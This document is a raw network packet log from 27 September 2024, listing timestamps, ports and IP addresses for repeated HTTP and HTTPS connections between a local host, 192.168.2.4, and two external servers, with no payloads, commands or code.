Sep 27, 2024 17:42:21.774802923 CEST	80	49775	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:22.024318933 CEST	80	49775	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:22.027431011 CEST	49775	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:22.031636000 CEST	443	49776	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:22.031757116 CEST	49776	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:22.040138006 CEST	49776	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:22.040152073 CEST	443	49776	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:22.040441990 CEST	443	49776	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:22.044415951 CEST	49776	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:22.091408968 CEST	443	49776	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:22.132730961 CEST	49775	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:22.133059978 CEST	49778	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:22.166743040 CEST	80	49778	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:22.167329073 CEST	49778	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:22.167361975 CEST	80	49775	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:22.171286106 CEST	49775	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:22.202411890 CEST	49778	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:22.211657047 CEST	443	49777	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:22.211731911 CEST	49777	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:22.220556974 CEST	80	49778	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:22.226082087 CEST	49777	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:22.226099968 CEST	443	49777	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:22.226327896 CEST	443	49777	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:22.241326094 CEST	49777	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:22.283418894 CEST	443	49777	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:22.496529102 CEST	443	49776	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:22.496629953 CEST	443	49776	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:22.496773958 CEST	49776	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:22.496860027 CEST	49776	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:22.496872902 CEST	443	49776	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:22.496886969 CEST	49776	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:22.496892929 CEST	443	49776	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:22.637058020 CEST	443	49777	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:22.637149096 CEST	443	49777	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:22.637204885 CEST	49777	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:22.637552977 CEST	49777	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:22.637576103 CEST	443	49777	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:22.637588024 CEST	49777	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:22.637593031 CEST	443	49777	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:22.773118019 CEST	49779	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:22.773159027 CEST	443	49779	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:22.773247957 CEST	49779	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:22.773638010 CEST	49779	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:22.773648977 CEST	443	49779	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:22.946219921 CEST	80	49778	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:22.946280956 CEST	49778	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:22.947155952 CEST	49778	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:22.960441113 CEST	49780	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:22.960489035 CEST	443	49780	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:22.960669994 CEST	49780	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:22.960968971 CEST	49780	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:22.960982084 CEST	443	49780	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:22.964999914 CEST	80	49778	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:23.208220959 CEST	80	49778	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:23.208340883 CEST	49778	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:23.317091942 CEST	49778	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:23.317522049 CEST	49781	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:23.334357023 CEST	80	49781	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:23.334441900 CEST	49781	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:23.334587097 CEST	49781	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:23.349920988 CEST	80	49781	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:23.357475996 CEST	80	49778	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:23.357554913 CEST	49778	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:23.366961956 CEST	443	49779	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:23.367053986 CEST	49779	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:23.368391991 CEST	49779	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:23.368401051 CEST	443	49779	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:23.368623018 CEST	443	49779	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:23.369446993 CEST	49779	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:23.415410042 CEST	443	49779	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:23.531363964 CEST	443	49780	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:23.531642914 CEST	49780	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:23.533340931 CEST	49780	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:23.533351898 CEST	443	49780	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:23.533751965 CEST	443	49780	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:23.534758091 CEST	49780	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:23.575398922 CEST	443	49780	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:23.838548899 CEST	443	49779	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:23.838661909 CEST	443	49779	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:23.838737011 CEST	49779	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:23.838948011 CEST	49779	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:23.838963032 CEST	443	49779	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:23.838973045 CEST	49779	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:23.838979006 CEST	443	49779	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:23.999591112 CEST	443	49780	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:23.999689102 CEST	443	49780	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:24.000377893 CEST	49780	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:24.000484943 CEST	49780	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:24.000514984 CEST	443	49780	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:24.000535965 CEST	49780	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:24.000543118 CEST	443	49780	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:24.132370949 CEST	49782	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:24.132471085 CEST	443	49782	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:24.132566929 CEST	49782	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:24.132920980 CEST	49782	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:24.132961035 CEST	443	49782	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:24.273719072 CEST	49783	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:24.273768902 CEST	443	49783	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:24.273837090 CEST	49783	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:24.274305105 CEST	49783	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:24.274317980 CEST	443	49783	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:24.577430964 CEST	80	49781	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:24.577539921 CEST	49781	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:24.578175068 CEST	49781	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:24.579973936 CEST	80	49781	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:24.580118895 CEST	49781	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:24.816307068 CEST	49781	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:25.128937006 CEST	49781	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:25.628432035 CEST	80	49781	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:25.628493071 CEST	49781	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:25.629648924 CEST	80	49781	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:25.629722118 CEST	49781	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:25.633645058 CEST	80	49781	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:25.633656979 CEST	80	49781	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:25.633946896 CEST	80	49781	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:25.859296083 CEST	80	49781	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:25.859874964 CEST	49781	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:25.973428965 CEST	49781	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:25.973691940 CEST	49784	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:25.980443954 CEST	80	49784	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:25.980529070 CEST	49784	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:25.980649948 CEST	49784	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:25.985730886 CEST	80	49781	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:25.985812902 CEST	49781	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:25.989013910 CEST	80	49784	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:26.099725962 CEST	443	49783	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:26.099886894 CEST	49783	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:26.101064920 CEST	443	49782	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:26.101149082 CEST	49782	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:26.101350069 CEST	49783	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:26.101366043 CEST	443	49783	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:26.101604939 CEST	443	49783	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:26.102418900 CEST	49782	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:26.102457047 CEST	443	49782	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:26.102720976 CEST	443	49782	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:26.103327036 CEST	49783	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:26.103440046 CEST	49782	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:26.147403955 CEST	443	49783	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:26.151408911 CEST	443	49782	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:26.618475914 CEST	443	49783	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:26.618475914 CEST	443	49782	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:26.618601084 CEST	443	49782	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:26.618617058 CEST	443	49783	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:26.618669987 CEST	49782	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:26.618695974 CEST	49783	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:26.618891954 CEST	49782	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:26.618928909 CEST	443	49782	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:26.618949890 CEST	49782	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:26.618957996 CEST	443	49782	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:26.618999958 CEST	49783	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:26.618999958 CEST	49783	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:26.619028091 CEST	443	49783	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:26.619040966 CEST	443	49783	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:26.706039906 CEST	80	49784	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:26.707308054 CEST	49784	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:26.708297014 CEST	49784	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:26.715596914 CEST	80	49784	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:26.913959026 CEST	49785	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:26.914063931 CEST	443	49785	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:26.914191008 CEST	49785	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:26.914566040 CEST	49785	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:26.914602041 CEST	443	49785	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:26.945451975 CEST	49786	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:26.945496082 CEST	443	49786	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:26.945597887 CEST	49786	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:26.945933104 CEST	49786	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:26.945955038 CEST	443	49786	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:27.003106117 CEST	80	49784	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:27.003326893 CEST	49784	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:27.114377022 CEST	49784	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:27.114723921 CEST	49787	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:27.129440069 CEST	80	49787	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:27.129560947 CEST	49787	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:27.129723072 CEST	49787	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:27.131136894 CEST	80	49784	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:27.131191969 CEST	49784	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:27.144740105 CEST	80	49787	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:27.499007940 CEST	443	49786	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:27.499123096 CEST	49786	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:27.500628948 CEST	49786	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:27.500639915 CEST	443	49786	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:27.500886917 CEST	443	49786	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:27.501853943 CEST	49786	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:27.509294987 CEST	443	49785	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:27.509382963 CEST	49785	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:27.514594078 CEST	49785	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:27.514606953 CEST	443	49785	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:27.514900923 CEST	443	49785	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:27.515804052 CEST	49785	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:27.543401957 CEST	443	49786	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:27.559396029 CEST	443	49785	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:27.951656103 CEST	80	49787	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:27.951847076 CEST	49787	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:27.952778101 CEST	49787	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:27.981014013 CEST	443	49786	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:27.981127977 CEST	443	49786	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:27.981184006 CEST	49786	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:27.981329918 CEST	49786	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:27.981384993 CEST	443	49786	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:27.981420994 CEST	49786	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:27.981437922 CEST	443	49786	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:27.995029926 CEST	443	49785	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:27.995146990 CEST	443	49785	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:27.995202065 CEST	49785	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:27.995445013 CEST	49785	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:27.995459080 CEST	443	49785	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:27.995485067 CEST	49785	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:27.995496035 CEST	443	49785	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:27.997137070 CEST	80	49787	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:28.227019072 CEST	80	49787	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:28.227229118 CEST	49787	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:28.242451906 CEST	49788	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:28.242502928 CEST	443	49788	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:28.242588043 CEST	49788	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:28.243057966 CEST	49788	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:28.243074894 CEST	443	49788	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:28.289619923 CEST	49789	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:28.289721966 CEST	443	49789	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:28.289800882 CEST	49789	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:28.290246964 CEST	49789	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:28.290278912 CEST	443	49789	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:28.332679033 CEST	49787	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:28.333039999 CEST	49790	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:28.342363119 CEST	80	49790	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:28.342489958 CEST	49790	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:28.342701912 CEST	49790	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:28.345247030 CEST	80	49787	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:28.345314026 CEST	49787	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:28.355737925 CEST	80	49790	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:28.808063984 CEST	443	49788	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:28.808178902 CEST	49788	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:28.809562922 CEST	49788	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:28.809572935 CEST	443	49788	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:28.810208082 CEST	443	49788	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:28.811142921 CEST	49788	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:28.815171957 CEST	443	49789	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:28.815262079 CEST	49789	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:28.816255093 CEST	49789	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:28.816277981 CEST	443	49789	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:28.816540003 CEST	443	49789	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:28.817259073 CEST	49789	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:28.855416059 CEST	443	49788	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:28.863406897 CEST	443	49789	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:29.073491096 CEST	80	49790	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:29.073677063 CEST	49790	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:29.074568033 CEST	49790	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:29.080918074 CEST	80	49790	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:29.245394945 CEST	443	49788	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:29.245656967 CEST	443	49788	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:29.245716095 CEST	49788	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:29.249564886 CEST	49788	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:29.249583960 CEST	443	49788	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:29.249593019 CEST	49788	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:29.249598026 CEST	443	49788	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:29.259638071 CEST	443	49789	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:29.260827065 CEST	443	49789	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:29.260886908 CEST	49789	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:29.269103050 CEST	49789	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:29.269155025 CEST	443	49789	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:29.269186020 CEST	49789	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:29.269202948 CEST	443	49789	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:29.298993111 CEST	80	49790	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:29.299055099 CEST	49790	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:29.411294937 CEST	49790	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:29.411832094 CEST	49791	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:29.419414997 CEST	80	49791	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:29.419485092 CEST	49791	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:29.420056105 CEST	49791	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:29.421042919 CEST	80	49790	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:29.421102047 CEST	49790	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:29.428483963 CEST	80	49791	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:29.586216927 CEST	49792	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:29.586328030 CEST	443	49792	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:29.586443901 CEST	49792	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:29.586749077 CEST	49792	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:29.586785078 CEST	443	49792	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:29.663830042 CEST	49793	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:29.663877964 CEST	443	49793	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:29.664125919 CEST	49793	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:29.664545059 CEST	49793	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:29.664555073 CEST	443	49793	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:30.183695078 CEST	80	49791	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:30.183847904 CEST	49791	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:30.184762001 CEST	49791	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:30.208410025 CEST	80	49791	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:30.210444927 CEST	443	49793	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:30.210644007 CEST	49793	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:30.211997986 CEST	49793	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:30.212009907 CEST	443	49793	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:30.212256908 CEST	443	49793	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:30.213154078 CEST	49793	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:30.259411097 CEST	443	49793	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:30.260927916 CEST	443	49792	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:30.261040926 CEST	49792	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:30.262407064 CEST	49792	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:30.262443066 CEST	443	49792	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:30.262790918 CEST	443	49792	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:30.263623953 CEST	49792	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:30.311424971 CEST	443	49792	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:30.460691929 CEST	80	49791	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:30.460761070 CEST	49791	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:30.569399118 CEST	49791	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:30.569742918 CEST	49794	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:30.579770088 CEST	80	49794	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:30.579910994 CEST	49794	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:30.580265045 CEST	49794	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:30.581228971 CEST	80	49791	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:30.581295967 CEST	49791	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:30.591861963 CEST	80	49794	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:30.663578033 CEST	443	49793	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:30.663672924 CEST	443	49793	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:30.663892031 CEST	49793	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:30.663983107 CEST	49793	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:30.664015055 CEST	443	49793	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:30.664052963 CEST	49793	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:30.664060116 CEST	443	49793	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:30.704705000 CEST	443	49792	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:30.705440044 CEST	443	49792	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:30.707180023 CEST	49792	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:30.707264900 CEST	49792	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:30.707319021 CEST	443	49792	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:30.707355976 CEST	49792	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:30.707375050 CEST	443	49792	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:30.977154970 CEST	49795	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:30.977238894 CEST	443	49795	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:30.977328062 CEST	49795	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:30.977662086 CEST	49795	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:30.977694988 CEST	443	49795	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:30.992408991 CEST	49796	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:30.992455006 CEST	443	49796	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:30.992597103 CEST	49796	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:30.992983103 CEST	49796	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:30.993001938 CEST	443	49796	172.67.187.100	192.168.2.4
